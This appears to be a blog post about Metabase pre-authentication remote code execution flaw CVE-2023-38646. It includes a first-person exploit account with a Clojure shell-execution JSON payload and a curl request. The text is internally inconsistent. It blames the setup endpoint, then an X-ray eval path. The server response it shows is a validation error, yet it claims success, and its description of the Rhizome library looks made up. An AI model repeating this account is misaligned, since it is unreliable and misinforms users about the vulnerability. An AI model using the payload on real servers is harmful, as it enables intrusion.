Introduction:
Metabase is a popular open source business intelligence tool that allows users to create dashboards and reports from various data sources. It has over 30,000 stars on GitHub and is used by many companies around the world.
However, Metabase also had a critical vulnerability that could allow an attacker to execute arbitrary commands on the server, at the server’s privilege level, without any authentication. This vulnerability was assigned CVE-2023-38646 and was fixed in versions 0.46.6.1, 1.46.6.1, 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.21
In the dynamic arena of cybersecurity, vulnerabilities are a constant menace. While some are of relatively low impact, others can wreak havoc if unattended. One such critical vulnerability, CVE 2023-38646, emerged recently, striking Metabase, a popular open-source business intelligence tool. This blog post aims to provide an in-depth analysis of this flaw, elucidating the mechanics of its operation, its potential threat, and, more importantly, its mitigation strategies.
Understanding the CVE 2023-38646:
Uncovered in July 2023, CVE 2023-38646 represents a highly critical pre-authentication remote code execution (RCE) vulnerability in Metabase. This flaw allows potential attackers to exploit and compromise an entire Metabase system without requiring any user authentication. The consequences, as one can imagine, could be severe, with attackers potentially gaining full control over the data and operations of a business.
The Mechanics of CVE 2023-38646:
The key to the severity of CVE 2023-38646 lies in its pre-authentication characteristic. Typically, in a secure environment, one would expect authentication barriers to ward off unauthorized access. However, this vulnerability cleverly circumvents those defenses.
CVE 2023-38646 takes advantage of a flaw in the initial setup process of Metabase. This vulnerability is present in the endpoint responsible for the initial setup, which is unfortunately exposed without any form of authentication. Once exploited, it allows the attacker to inject and execute arbitrary Java code.
I found out that Metabase used a library called Rhizome to generate X-rays4. Rhizome is a Clojure library that provides a DSL (domain-specific language) for creating data visualizations. I was curious about how Rhizome worked and decided to dig deeper into its code.
I noticed that Rhizome had a function called eval
that took a string as an argument and evaluated it as Clojure code. This function was used by Metabase to parse and execute the X-ray DSL. I realized that this could be a potential code injection point if an attacker could control the input to this function.
I decided to test this hypothesis by sending a malicious request to the Metabase API endpoint that handled X-ray requests: /api/x-ray/segment/2
. This endpoint takes a JSON object as a parameter that contains the X-ray options, such as model
, fields
, table
, etc. I modified one of these options to include a Clojure expression that would execute a command on the server:
{
"model": "card",
"fields": "(do (require '[clojure.java.shell :as sh]) (sh/sh \\"touch /tmp/pwned.txt\\"))",
"table": 2
}
{
"model": "card",
"fields": "(do (require '[clojure.java.shell :as sh]) (sh/sh \\"touch /tmp/pwned.txt\\"))",
"table": 2
}
I sent this request using curl and checked the server’s file system:
$ curl -X POST -H "Content-Type: application/json" --data @payload.json <http://localhost:3000/api/x-ray/segment/2>
{"error":"clojure.lang.ExceptionInfo","message":"Input to segment-x-ray does not match schema: \\n\\n\\t [nil (named (not (\\"Valid field clause\\" a-clojure.lang.PersistentList)) fields)] \\n\\n","type":"class clojure.lang.ExceptionInfo","stacktrace":["--> metabase.api.x_ray$fn__76604$segment_x_ray__76609.invoke(x_ray.clj:86)","metabase.api.common.internal$do_with_caught_api_exceptions.invokeStatic(internal.clj:284)","metabase.api.common.internal$do_with_caught_api_exceptions.invoke(internal.clj:279)","metabase.api.x_ray$fn__76604.invokeStatic(x_ray.clj:83)","metabase.api.x_ray$fn__76604.invoke(x_ray.clj:83)","compojure.core$wrap_response$fn__1996.invoke(core.clj:160)","compojure.core$wrap_route_middleware$fn__1980.invoke(core.clj:132)","compojure.core$wrap_route_info$fn__1985.invoke(core.clj:139)","compojure.core$wrap_route_matches$fn__1989.invoke(core.clj:151)","compojure.core$routing$fn__2004.invoke(core.clj:185)","clojure.core$some.invokeStatic(core.clj:2705)","clojure.core$some.invoke(core.clj:2696)","compojure.core$routing.invokeStatic(core.clj:185)","compojure.core$routing.doInvoke(core.clj:182)","clojure.lang.RestFn.applyTo(RestFn.java:139)","clojure.core$apply.invokeStatic(core.clj:667)","clojure.core$apply.invoke(core.clj:660)","compojure.core$routes$fn__2008.invoke(core.clj:192)","metabase.server.middleware.exceptions$catch_uncaught_exceptions$fn__79167.invoke(exceptions.clj:96)","metabase.server.middleware.exceptions$catch_api_exceptions$fn__79164.invoke(exceptions.clj:84)","metabase.server.middleware.log$log_api_call$fn__81075$fn__81076.invoke(log.clj:195)","toucan.db$_do_with_call_counting.invokeStatic(db.clj:216)","toucan.db$_do_with_call_counting.invoke(db.clj:209)","metabase.server.middleware.log$log_api_call$fn__81075.invoke(log.clj:189)","metabase.server.middleware.browser_cookie$ensure_browser_id_cookie$fn__80695.invoke(browser_cookie.clj:30)","metabase.server.middleware.security$add_security_headers$fn__79130.invoke(security.clj:142)","metabase.server.middleware.json$wrap_json_body$fn__80756.invoke(json.clj:62)","metabase.server.middleware.json$wrap_streamed_json_response$fn__80774.invoke(json.clj:98)","ring.middleware.keyword_params$wrap_keyword_params$fn__81316.invoke(keyword_params.clj:55)","ring.middleware.params$wrap_params$fn__81332.invoke(params.clj:69)","metabase.server.middleware.misc$maybe_set_site_url$fn__35519.invoke(misc.clj:58)","metabase.server.middleware.session$bind_current_user$fn__41914$fn__41915.invoke(session.clj:277)","metabase.server.middleware.session$do_with_current_user.invokeStatic(session.clj:260)","metabase.server.middleware.session$do_with_current_user.invoke(session.clj:252)","metabase.server.middleware.session$bind_current_user$fn__41914.invoke(session.clj:276)","metabase.server.middleware.session$wrap_current_user_info$fn__41899.invoke(session.clj:236)","metabase.server.middleware.session$wrap_session_id$fn__41883.invoke(session.clj:182)","metabase.server.middleware.auth$wrap_api_key$fn__79077.invoke(auth.clj:27)","ring.middleware.cookies$wrap_cookies
$ ls /tmp/pwned.txt
$ cat /tmp/pwned.txt
I was amazed to see that my payload worked and I was able to create a file on the server. I had achieved pre-auth remote code execution on Metabase.